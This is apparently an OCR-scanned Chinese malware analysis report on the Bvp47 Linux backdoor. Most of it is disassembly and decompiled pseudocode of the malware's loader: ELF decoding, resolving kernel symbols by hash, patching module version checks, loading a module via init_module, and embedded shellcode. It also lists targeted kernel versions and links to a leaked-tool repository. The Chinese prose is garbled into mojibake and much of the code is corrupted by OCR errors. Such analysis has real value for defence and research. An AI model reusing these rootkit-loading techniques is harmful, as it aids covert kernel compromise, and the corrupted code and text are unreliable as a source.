mov [ebp+var_C], ebx
mov [ebp+var_8], esi
mov [ebp+var_4], edi
mov [ebp+var_1C], @
jnz short loc_8059797
mov eax, ds:g_elf _len
mowv ebx, BFFFFFFFFh
mov dword ptr [esp], offset g_elf buf ; buf
mov [esp+4], eax ; len
call serial_bind_8x4743c911_xor
test eax, eax
jz short loc_808597BC
mov ds:g_elf decode, 1
; CODE XREF: serial_bvp+20t1j
mov eax, ds:g_elf len
lea esi, [ebp+info]
mov dword ptr [esp+4], offset g_elf_buf ; elf_buf
mov [esp]l, esi ; info
mov [esp+8], eax ; elf_len
call serial_elf_getbaseinfo
test eax, eax
mov ebx, eax
jz short loc_86597E@
; CODE XREF: serial_bwp+3Et]
; serial_bvp+ADLj ...
mov eax, [ebp+var_1icC]
test eax, eax
jz short loc_86597CB
mov [esp], eax
call serial_bind_ex44611a64_free
; CODE XREF: serial_ bvp+71t1j
mov eax, ebx
mov esi, [ebp+var_g8]
mov ebx, [ebp+var_C]
mov edi, [ebp+var_4]
mov esp, ebp
pop ebp
retn
align 16h
; CODE XREF: serial_bvp+6Atj
lea eax, [ebp+var_1icC]
mov [esp+8], eax
lea eax, [ebp+var_Bg8]
mov [esp+4], eax
mov [esp], esi
call serial_Bwp_sizeof
test eax, eax
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5. IREEE—MEHRgmr

117
118
119
1209
121
122
123
® 124
® 125
126
® 127
® 128
® 129
® 130
131
® 132
® 133
134
® 135
® 136
137
® 138
® 139
® 140
® 141
® 142
® 143
® 144
® 145
146
® 147
® 148
® 149
® 150
151
® 152
® 153
® 154
® 155
156
® 157
158
® 159
160
161
162
® 163
® 164
® 165
166

int v118; // [esp+8F8h] [ebp-3@h] BYREF
unsigned int v119; // [esp+8FCh] [ebp-2Ch] BYREF

int
int
int
int

v120; // [esp+988h] [ebp-28h] BYREF
v121; // [esp+984h] [ebp-24h] BYREF
v122; /[f [esp+9@8h] [ebp-20h] BYREF
vi123[a]; // [esp+9ech] [ebp-1Ch] BYREF

vi23[e] = e;
if ( !g_elf_decode )

{

v

3= -

1;

if ( !serial_bind_©x4743c911_xor(g_elf_buf, g_elf_len) )
goto LABEL_S;
g_elf_decode = 1;

v3 = serial_elf_getbaseinfo(info, g_elf buf, g_elf len);

if ( v3 )
{
v3 = serial_Bvp_sizeof(info, vi1e2, v123);
if ( tv3 )
{
v3 = -1;
v117 = @;
v118 = @;
v5 = serial_bind_@xa8al6d65_xcode(buffer, "qmr", 5);// H—1HiEL
vize = @;
v119 = @;
v6 = Vv5;
if ( vs )
{
v7 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_@x08052A48;
v8 = serial_bind_@xaB8al6d65_xcode(dst, "Bvp_offsetof__CzZmodule_ Mname", 32);
v3 = v7(&v120, @, v8);
if ( lvd )
{
v9 = (int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_6x©8852A48;

vle = serial_bind_exaB8al16d65_xcode(viee, “Bvp_const__ MODULE_NAME_LEN", 28);
v3 = vo(&vlle, @, vie);

if f w3 )

{

if ( vi20 == -1 || v119 == -1 )

{

}

vil = v1e4;

else

{

vlil = vied;

vl2 = *(_DWORD *)(v1e4 + 40 * vl1es + 16) + v103;
if ( !*(_BYTE *)(vi2 + v120) )

{
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6. BELRITIR :

D1N0_UXAsALLOLD_XCOOE\ ViU, DVP_CONST__MRUULE_MANE_LEN , &5);

== .1}
+ a8 * + 16) + ¥
120) )
“y(int, G i int))&strncpy_._)(viie + vi2, vé, v119);

rmagic®, 18);

**¥(int))&strlen_._)({
i e 48 % v1O7 + 16) +

goto LABEL_41;
do

if { 1(*(int (__cdecl **){int, int, int)})Bstrncmp_._}(v15, w13, via) )
{

3 4+ 1);
61 )
}
15 = sub_sesa3ce(vis, Bv119);
}
while { vi5 );
vi = -1;
if [ v79 )
if ( lstremp(
v7a,
TeBGddgailcbodfece793518fe59746fBCcIdPaC3IDA1IBTIfSaTdS 449d62aa35¢865a133dfF") )/ BRENTRREA
I

serial_bind_@xbf3ldsc2_memset{vied, @);
serial_bvp_config_();
if ( Iv3)

zerial_bind_ox7o873aff memmove(v79, vion, 89);
{int {__cdecl *){int *, JELF_API_@x@2852048;
= serial_bind_8xa8al6d65_xcode(v vp_config_ CONFIG_MODVERSIONS", 32);
v = vi7{&v117, @, vi8);
iF ( Iva )

7 ZRATHRII AL T TSBARATMRA

Linux version (bhcompile@decompose. build. redhat.com) ( version 3.4.3 20050227 (Red Hat 3.4.3-22))
Linux version 2.6. .EL (bhcompile@porky.build. redhat.com) ( version 3.4.4 20050721 (Red Hat 3.4.4-2))

Linux version (bhcompile@hs2@-bc1-7.build. redhat.com) ( version 3.4.5 208512¢1 (Red Hat 3.4.5-2))
Linux version (bhcompile@hs2@-bcl-1.build. redhat.com) ( version 3.4.6 200604084 (Red Hat 3.4.6-2))
Linux version (brewbuilder@ls28-bc2-14.build. redhat.com) ( version 3.4.6 20060404 (Red Hat 3.4.6-3))
Linux version 2. (brewbuilder@ls28-bcl-14.build. redhat.com) ( version 3.4.6 20068404 (Red Hat 3.4.6-8))
Linux version 2.6. . (brewbuilder@hs2@-bc2-3.build. redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-18))
Linux version 2.6. i (mockbuild@hs28-bc1-2.build. redhat.com) ( version 3.4.6 20060404 (Red Hat 3.4.6-11))

Linux version 2.6. .ELsmp (bhcompile@decompose.build. redhat.com) ( version 3.4.3 20050227 (Red Hat 3.4.3-22))

Linux version 2.6. «ELsmp (bhcompile@porky.build.redhat.com) ( version 3.4.4 20058721 (Red Hat 3.4.4-2))

Linux version 2.6. .ELsmp (bhcompileghs28-bcl-7.build.redhat.com) ( version 3.4.5 20051281 (Red Hat 3.4.5-2))

Linux version 2.6. .ELsmp (bhcompile@hs28-bcl-1.build.redhat.com) ( version 3.4.6 20060404 (Red Hat 3.4.6-2))

Linux version 2.6. .0.18.ELsmp (brewbuilder@hs2@-bc1-5.build. redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-3))
Linux version 2.6. .8.10.ELsmp (brewbuilder@ls2@-bcl-14.build. redhat.com) ( version 3.4.6 20060404 (Red Hat 3.4.6-3))

Linux version 2.6.9-55.ELsmp (brewbuilder@ls2@-bc2-14.build.redhat.com) ( version 3.4.6 20060404 (Red Hat 3.4.6-3))
Linux version 2.6.9-67.ELsmp (brewbuilder@ls2@-bcl-14.build.redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-8))
Linux .6.9-78.ELsmp (brewbuilderghs2@-bc2-3.build. redhat.com) ( version 3.4.6 20060424 (Red Hat 3.4.6-10))

Linux version 2.6.9-89.ELsmp (mockbuild@hs28-bc1-2.build.redhat.com) ( version 3.4.6 20060484 (Red Hat 3.4.6-11))

IRFLEELNERBIRATF] |



8. IKI&2 :

v18 = serial_bind_@xaBal6de5_xcode(v85, "Bvp_config_ CONFIG_MODVERSIONS", 32);
v3 = v17(&v117, @, v18);

if ( Iv3 )

{

if ( vi17 == 1)
{
vi19 = @;
vi2e = @;
vi2l = @;
vi22 = @;
v34 = serial_bind_exa8al6d65_xcode(v95, "Bvp_modversion__", 18);
v35 = (int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_0x08052A40;
vBa = v34;
v36 = serial_bind_exaBal6d65_xcode(v96, "Bvp_sizeof__zZmodversion_info", 31);
v3 = v35(&v119, @, v36);
if (v3)
goto LABEL_S;
v37 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_BxB80852A48;
v38 = serial_bind_@xa8al6d65_xcode(v97, "Bvp_offsetof__CzZmodversion_info_ Mname", 41);
v3 = v37(&v128, @, v38);
if ( v3 )
goto LABEL_S;

v39 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_8x08052A40;
v4@ = serial_bind_exaB8al6d65_xcode(v98, "Bvp_offsetof__CzZmodversion_info__Mcrc”, 48);
v3 = v39(&v121, @, v48);
if ((v3)
goto LABEL_S;
if ( v119 1= -1 &R v120 1= -1 &R v121 != -1)
{
v4l vied + 40 * v1es;

v42 = *(_DWORD *)(v41 + 16) + v183;
v43 = *(_DWORD *)(v4l + 20) / v119;
if ( v43 )
{

do

{
v73 v43;
v44 = v42 + v3 * v119;
v7l véd + vlze;
((void (__cdecl *)(char *, _DWORD))serial_bind ©xbf3146c2_memset)(viee, @);
(*(void (__cdecl **){char *, int, int))&strcpy_._)(vliee, vBe, 128);
(*(void (__cdecl **){char *, int))&strcat_._)(viee, v7l);
((void (__cdecl *)(int *, _DWORD, char *))ELF_API_ox88852A40)(&v122, ®, v1ee);

v43 = v73;

v45 = (_DWORD *)(v121 + v44);

if ( *v45 |= @x1DCE65AE )
goto LABEL_41;

++v3;

*v45 = v122;

}
while ( v73 > v3 );
}
¥
}

IERFLR/GLRERIFEIRAE | www.pangulab.cn



9. IR NEATAISEREIEL

WILE § VIS 3 VS )G

¥
¥
wid m {int {__cdecl *){int *, DWORD, int))ELF_AP1_6xe0052heb;
wid = serdal bind @waBalédes wcode(vE?, “Bvp_offsetof C:Ilodlll.l
1 = v1o{Av11S, @, v28);
if [ 1v3)

wil = {_DWORD *J{viSd + 4 * v1E5);

viz = [

¥lw1;

46 [ vi2 ¢ *(unsigned _Int16 *){v163 + 43)
B8 (( BTE "Mvitd » M " w22+ B) B 2) 1m0
48 221[5] ¢= Bafy )

vi3 w va1[4] & v103;
AF ( *(_WORD *)vZ) sm 68 BE “(_BYTE *}(vi} + 4) == 1 )

={_DWORD *}23 = V118
vaa = [int {_cdecl
Vi1 = 8
V118 w @)
w25 = serial_bind_SwaBal6dss_xcode(.os,
if ( vas(bazz, @, vas) )

41;

]{m\ *, DWORD, int)JELF_APT_@x@BOSIAAG;

gote LABEL
4P ( vi22 ma -1 )
goto LABEL_31;

vah = serdal_bind SaaBaldes_xcode(v56, “Bve_sya__sym_af

_Minit™, 2);

“Bvp_sym_devers_is_allowed”, 28);

AF { {(int {_cdecd *)}{int *, OWORD, inT))ELF_APT { lwnmm}(mn e, va8) )
goto LABEL 41;
WL v )
woto LABEL 41;
a7 w {int {_cdecl *)(int *, _OWORD, int))ELF_APT_woB0S2A4e;
Vil = wrill_M_Mll.SdSG xoode{ 37, “Bvp_wesk_sym__lockvo_sddress™, 3);
1F ¢ wI7(kv130, @, vIR) )
goto LAREL_41;

VIS w w128}
1F { v1i0 me -1 )

16465_xcode{ 54,

er_deveen_is_allowsd", 38);

“RsaXlu BsaXalx Xsakelx NsaRalx Nsa¥alx XasXalx", 48);

serial
| if( (*(1nt ( cdecl **)(char *, int, int, const char *, int, const char *, inE, comst ﬂm- *, int, const char *, int, const char ®, int, comst char *, int)Misnpr
g i

" i SERAMERORAE:

BB e anrdal e 34T d8ARGeAN

10. PIAIRR2NINERTAIS 405

418
411
412
413
414
415

® 416

LABEL_41:

GIE2 :

EOTO LANEL_41;
vsd = [int {__cdecl *)(ine =,
v6i w serial_bind_BxaRal6dss xcode{uoe,
Af ( vi9(Av1l3, @, vee) )

vl = [int [__cdecl *){int *, DWORD,

_DWORD, 4nt ) JELF_API_8x@BOS2A48,
“Bvp_sym___ioremap”, N]-

int ) JELF_API_Bx@RAS2IAI;

vE2 = serial_bind_OxsBalsdes xcode(v91, “Bvp_sym_module_alloc™, 23};

i ( vE1(Bv112, B, v62) )

goto LABEL_a1;
if ( V112 = 1)

Eoto LABEL_41;
w63 = (int (_cdecl *){int *, _DWORD,
vé4 = serdal_bind_OxaBa16d65_xcode(v92,
if ( vE3(Bv111, @, vid) )

EL_41;

AF ( V111 =a -1 )

Eoto LABEL_41;
vt = [dmt {__
Vi = serial_bind_OxaBa16des_xcode(vod,
if ( ub&{l\all , B, wek) )

20T0 LABEL_41;
V67 = v110;
AF ( vile == -1 )

EOTO LABEL_a1;
veE = v111}
VIR = v1ld;
v72 = w1123
V74 = w113
vIT ® w115}
V76 ® v116}
V7%
Ve

v117;
serdal_bind_8xaBalédss_xcode(

Ant))ELF_API_8x@82852A43;
“Bvp_sym__module_free”, 22);

cdecl *)(int *, _OWORD, lm)}iLF_API_MM
“ivp_const__PAGE_OFFSET™, 24);

w8
* Xs=Xalx XseX4lx ¥sX#lx XssXalx XseXale XssXalx XssXalx Xs=Xalx",

BE);

AF ( (*(int (__cdecl **)(char *, unsigned int,
BvBl[v51 - 1],
1034 - (v51 - 1),
Vg,
“brivegoreqrz”,
v7s,
“sT2ZeBIMEE",
¥76,

“walujddi®,
vTT,
“DlsDrkHha”,
VTR,

“aWIPBTExAZR",
w74,

VET) £ s') /i REREN LGP NLE:2

vi = -1;

IERFLRR/GLRERIFERAE | www.pangulab.cn

int,

const char =

int, const char *

int,

const char *

int,

const char *

int

const
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11. RETHIRTREARZIRR |

Ta Yo —  my

1417 goto LABEL_S;

418 }

419 }

I 428 va48 = (*(int {__cdecl **)}(int, int, char *))&init_module_._)(v182[®], v182[1], vB1);
1421 v49 = *(_DWORD *)(*{int (**){void))& errno_location_._)();
1422 if (va9 =1 || va8 I= -1)

1423 v3 = v49;

424 1

425 1

426 }

427 }

428 }

" om

B amRI—MsRS R

EmainREFE24bunlinkRZAIER | SEhnEIE RSP AR ERCRIES T unlinkfr HEIRYE
B :

ILVALY . YOU4D 220

[52] xrefs to unlink_ O X F
Directic Ty Address Text
Up p serial mkstemp+3C call near ptrunlink_._
Up p main+11B call near ptrunlink_._
p main+366 near ptr unlink ._
p main+37B call near ptrunlink_._
D.. p main+9E2 call near ptrunlink_._
D.. p main+9F3 call near ptrunlink .
D.. p sub 804D590+73 call near ptrunlink_._
D.. p sub 804DB60+35 call near ptrunlink_._
D... p sub 804E1A0+8F call near ptrunlink_._
D.. p sub 804E660+221 call near ptrunlink_._ E-
D.. p sub 805B9B0+246 call near ptrunlink_._
D.. o LOAD:off 8063200 dd offset unlink _field 6 [
[Line 3 of 12 i
‘ 0K | ‘ Cancel ‘ ‘ Search ‘ ‘ Help

W EFHashfIAPIFELE R
{EBVpATHIE T L S E— KR T Hash [EHUAPIR S ES NS E.
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1. EXENFA—KHashE ;

IRFLEELNERBIRATF] |

Address

LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...
LOAD:08060...

Length
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009
00000009

Type String
9a98cfle
29b5e7f0
97413c51
3955ced4
278dec7a
dleb34ee
191eabd2
4b6c29bf
78f2b4b4
1e30bd94
da78b246
8bdfc33f
1a7a7356
8c27e8f7
92e5c0d8
2cd7cd5e
1bd919bb
dOc6bfeb
90bffe4c
531ab53f
c949df79
3bcaaa8c
19282364
ad776¢cf9
0e56f7ab
b219d9e5
68cab24f
b064f130
388b7075
7bbf2c88
6342921
bfdc5cb1
628daa78
43f710cc
7ba772b8
5942201
25b78822
47c2cb27
89436336
7f493fb8
f265883c¢
5b19bf75
44624440
c767b324
e7a87594
€a895d08
10227454
2e78d32a
500b288d
35ed46eb
9d2e940a
9a79al16
37d03e4a
3d8cec3c
bebff213

aNaNaNaslcslcoNoaNeoNaNaNaNaNaNeNeNeoNoNoNaNaNaNaNaNaNaRaNoNeoNeNeRaNaNaNaNaNaNeNoloNeoNaRaNaNaNaNaleoNeoNoNaNaNaNaNe!
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2. fEsub_804C2EORR I =iX4tak

—un
-0AD
-0AD
-0AD
-0AD

P UOUSLLLY
10804C2EQ
10804C2EQ
:@8@4C2E1
:@8@4C2E3

_OAD:@804C2E6

-0AD
-0AD
-OAD
-OAD
-0AD
-0AD
-0AD

3. fEserial_bind_0x7bbf2c88_pFZ§+

LUAU:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:

IERFLR/EHLRERIFERAE | www.pangulab.cn

:@8@4C2EE
:8804C2F6
10BR4C2FD
108e4C302
:@8e4C3e3
:@8e4C3e3
:@8e4C3es

UEULLAFY
B885CAF1
BBOSCAFE
©B8B5CAFS
B885CAF9
BBOSCAFA
B8B5CAFB
B8B5CAFE
8805CBe1
esesceea
asesceay
B8e5CER9
8885CBeB
asascean
B8805CBeF
8885CB11
@885CB13
B8805CB15
8885CB17
@885CB19
B8e5CB19
8885CB19
@8e5CB1B
B8O5CB1B
8885CB1D
@8e5CB26
B805CB20
8885CB26
@8e5CB23
B8O5CB26
8885CB28
@885CB2A
BBO5CB2A
8885CB2A
@885CB2A
B805CB2D
8885CB36
8885CB33
B88B5CB35
@885CB37
8885CB3A
B805CB3D
8885CB48
©885CB45
B8O5CB48
8885CB4B
©885CB58
B805CB53
8885CB56
©885CB59
B805CBSF
8885CB61

55

89 ES
83 EC 18

C7 44 24 @8 78 @0 ee ee
C7 44 24 @4 Ce 32 @6 88
C7 @4 24 20 AF 06 @8

E8 EE @87 01 ee

c9
c3

55
B8
89
57
56

83
8B
8B
8B
85
74
85
74
85
74
8B
85
74

31
EB

8D

83
83
39
76

8B
83
83
77
8B
83
89
89
E8
8B
89
B8
F7
8B
c1
69
29
89

76

ce
c3

4E

43
E8
F8
EB
83
ce
4D
a4
6B
4D
45
73
65
45
EA
D2

c2

FF FF FF

o1
14

es8
el
o1

OF 9@ ee

E6 93 FB

A
Vi

sub_884C2E0

sub_884C2E@

H—H)

loc_8@5CB19:

loc_805CB20:

loc_8@5CB2A:

dword ptr [esp+8], 78h ; 'x’

; CODE XREF: sub_8@4A150:loc_884A2C81p

3z

dword ptr [esp+4], offset g_bind_list ; y
dword ptr [esp], offset xx ; x

proc near
push ebp

mov ebp, esp

sub esp, 18h

mov

mov

mov

call serial_bind_ex7bbf2css_
leave

retn

endp

it

; CODE XREF:

CODE XREF:

serial_bind_@x7bbf2cB8_+AFlj

serial_bind_@x7bbf2c88_+431j

; CODE XREF: serial bind_@x7bbf2c88 +2B1j

; serial_bind_ex7bbf2c88_+85!j

pusn eop
mov eax, OFFFFFFFFh
mov ebp, esp
push edi
push esi
push ebx
sub esp, 2Ch
mov ecx, [ebp+x]
mov ebx, [ebp+y]
mov edi, [ebp+z]
test ecx, ecx
jz short loc_885CB7A
test ebx, ebx
jz short loc_8@SCB7A
test edi, edi
jz short loc_8@5CB7A
mov eax, [ecx]
test eax, eax
jz short loc_8@5CB82
2 2 S
xor esi, esi
jmp short loc_8@5CB2A
align 18h
H
add esi, 1
add ebx, 14h
cmp edi, esi
jbe short loc_8@5CB78
Ll
mov eax, [ebx+8]
sub eax, 1
cmp eax, 1
ja short loc_8@5CB2@
mov eax, [ebx]
add esi, 1
mov [ebp+var_20], ecx
mov [esp], eax H
call sub_86SDABe
mov ecx, [ebp+var_20]
mov [ebp+var_1C], eax
mov eax, @FB93EG73h
mul [ebp+var_1C]
mov eax, [ebp+var_1C]
shr edx, 9
imul edx, 209h
sub eax, edx
mov edx, eax

str

stext
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HGESHAS :

b 28
29
30

b31
2

b33

b 34

b 35

b 36
37

b 38

b 39

b 4@

LI 5

L ¥

b a3

b 44

b 46
47
b 48
49
50
51

b 53

int _ cdecl serial_bind_ex7bbf2c88_(int x, int y, int z)

{
int result; // eax
int va; // ecx
int v5; // ebx
unsigned int ve; // esi
unsigned int v7; // eax
int v8; [/ eax
_BoOL1 v8; // =zf
_DWORD *vi1e; f/ [esp+18h] [ebp-28h]

result = -1;
vd b i
v5 V'
if (x)
{
if (y)
{

k) ) O
{

if ( *(_DWORD *)x

|| (v8 = serial_bind_@x227ffec5_calloc(2084),

{

V6 = 83
do
{

vl = X,
v9 = v8 == @,
*(_DWORD *)x = v8,
result = @xDeeseel13,
1ve) )

while { (unsigned int)(*(_DWORD *){v5 + B) - 1) > 1 )

{
++V6}
vs += |e;
if ( z.¢= v6 )
goto LABEL_9;
I

+4+v6;
v1e = (_DWORD *)v4;

v7 = sub_gesDABe(*(char **)v5);

vd = {int)vle;

*(_DWORD *)(v5 + 12) = *(_DWORD *)(*vie + 4 * (v7 % ©0x209));

*(_DWORD *)(*vie + 4 * (v7 % @x209)) = v5;

V5 4= 20;

while ( z > vé );
LABEL_9:
result = 8;
}
}
}
¥

return result;

b 54

}
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W =5 shellcode
fEloadertS iR AT ERs SEA FASSEMNIBELF ST | SRR E 2N A shellcodeEatHuR B,

L. S RNAYELFLEREZCE XA

LOAD: 28863020 7F 45 4C 46 @1 @1 01 60 0@ 60 eo ea+g elf buf  db 7Fh, 45h, 4Ch, 46h, 3 dup(1), © dup(@); e_ident
LOAD: 92863020 66 60 20 80 91 0 63 60 01 60 00 Do+ ; DATA XREF: se byps2Cto
LOAD: 98863020 60 60 OO DO 00 00 90 92 BO 87 00 08+ : serial_bvp+S2to
LOAD: 92863020 00 G0 00 90 34 00 00 00 00 60 2B 20+ dw 1 ; e_type
LOAD: 28863020 ©F &0 8B 2O dw 3 ; e_machine
LOAD : 88863028 dd 1 ; e_version
LOAD : 88863028 dd ; e_entry
LOAD: 88863028 dd @ ; e_phoff
LOAD: 8863020 dd 7Beh ; e_shoff
LOAD : 88863028 dd & ; e_flags
LOAD : 88863020 dw 3ah ; e_ehsize
LOAD : 98863028 dw @ ; e_phentsize
LOAD: ©@B8G3020 dw 8 3 e_phnum
LOAD: @8863D20 dw 28h ; e_shentsize
LOAD: 88863028 dw 8Eh ; e_shnum
LOAD : 08863028 dw 88h ; e_shstrndx
LOAD: 88863054 S R i R S S e e R i i e R R S
¥ %
2. FiEIRYJLEEshellcode= B 1EBkEE
LOAD: 28863054
LOAD: @8863D54 shellcode_func_1 prec near
LOAD: 88863054
LOAD: @8263054 var_24 = dword ptr -24h
LOAD : 88863054 var_20 = dword ptr -28h
LOAD:@8263054 var_1cC = dword ptr -1Ch
LOAD: 88863054
LOAD:88863054 55 push ebp
LOAD: 88863055 89 ES mov ebp, esp
LOAD: 28863057 57 push edi
LOAD : 88863D58 56 push esi
LOAD: 88863059 53 push ebx
LOAD:@886305A 83 EC 1C sub esp, 1Ch
LOAD: 28863050 6A @1 push 1
LOAD:©8863D5F FF 35 2C @@ @@ @@ push large dword ptr ds:2Ch
LOAD: 88863065 FF 35 38 60 88 a8 push large dword ptr ds:36h
LOAD:@886306B FF 35 28 @@ @@ @e push large dword ptr ds:28h
LOAD: 88863071 E8 1C @3 8@ @e call shellcode_func_6
LOAD:@8@63076 83 C4 1@ add esp, 1eh
LOAD: 88863079 89 45 DC mov [ebp+var_24], eax

8
8

LOAD:@8863D7C Al 1C @0
LOAD: 08063081 85 C@

LOAD:@8063D83 B9 45 E4 [ebp+var_1C], eax
LOAD:@8063D86 74 6D short loc_8@63DF5

mov eax, large ds:licCh
test
mov
jz

LOAD: 88863088 Al 18 80 80 @0 mov eax, large ds:18h
test
mov
9z

eax, eax

LOAD:@8863D8D 85 Co eax, eax
LOAD:©8863D8F 89 45 E@ [ebp+var_28], eax
LOAD:@8863092 74 61 short loc_8@63DFS

LOAD: 88863094 Al 14 60 60 @0 mov eax, large ds:14h
LOAD: 88263099 35 (@ test eax, eax

LDAD: 88863098 74 58 jz short loc_8063DFS
LOAD:©8086309D 8B 15 1@ @@ ee ee mov edx, large ds:leh
LOAD:88863DA3 85 D2 test edx, edx
LOAD:@8B63DAS 74 4E iz short loc_8@63DFS
LOAD:@8063DA7 8B @D oC @o 80 eo mov ecx, large ds:ach
LOAD:@88630AD B85 C9 test ecx, ecx
LOAD:@8863DAF 74 44 iz short loc_8@63DFS
LOAD:8868630B1 BB 1D 68 6@ 6@ &8 mov ebx, large ds:8
LOAD:@8263087 35 DB test ebx, ebx

LOAD: 88263089 74 3A jz short loc_8@63DFS
LOAD:©8063DBB 8B 35 @4 @@ @@ ee mov esi, large ds:4
LOAD:88863DC1 B85 F6 test esi, esi
LOAD:@88630C3 74 30 iz short loc_8663DFS
LOAD:888630C5 8B 3D @0 @2 80 a8 mov edi, large ds:@
LOAD:@88630CB B85 FF test edi, edi
LOAD:@8863DCD 74 26 iz short loc_8@63DFS
LOAD: 88863DCF 83 EC aC sub esp, 6Ch
LOAD:@88630D2 57 push edi
LOAD:@88630D3 56 push esi
LOAD:080863DD4 53 push ebx
LOAD:8886300D5 BB FE FF FF FF mov ebx, @FFFFFFFEh
LOAD:@82630DA 51 push ecx

LOAD: 88863008 52 push edx
LOAD : @8863DDC 58 push eax
LOAD:@8863DDD FF 75 E@ push [ebp+var_28]
LOAD:@88630E@ FF 75 E4 push [ebp+var_1C]

LOAD:@8863DE3 FF 35 @@
LOAD:@88630E9 E8 5A @1

e push large dword ptr ds:@
call shellcode_func_4
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3. H£6E% shellcode

shellcode func 1
shellcode func 2
shellcode func 3
shellcode func 4
shellcode func 5
shellcode func 6
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6. 451

IR IBIRAKS ( Suctionchar_Agent ) I2RRITHEEE — |, 28D 1Bvp47_loader, Dewdrop
FRRALUEL , "BRET" (Bvpd7 ) ARt LA T RIFHNZENEESD. EEERTERE
( NSA ) R ESChEE AT LUBIE Bvp4 7SN HEERIRIIRIBAES | FRiRSHRINE(ESS | RBTKIEMRE
ZASEFNEE/LXR. REEEEFRETEF (NSA) LENNEGE T EEaENREN |, B
SN =BT B EHENEFCE RIS R | SEXRIREERESTE | HERREFRIRR
BEAN "HEN NNEHEFE.
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1. 2%

1. Bvp47-=ENSAHER BRI

https://www.pangulab.cn/post/the_bvp47 _a_top-tier_backdoor_of us_nsa_equation_group/

2. The Shadow Brokers: xOrz-EQGRP
https://github.com/x0rz/EQGRP/blob/master/Linux/up/suctionchar_agents.tar.bz2

3. tcriswell/bpfa
https://github.com/jtcriswell/bpfa

4. bpf-asm-explained
https://github.com/Igalia/pflua/blob/master/doc/technical/bpf-asm-explained.md

5. cloudflare/bpftools
https://github.com/cloudflare/bpftools
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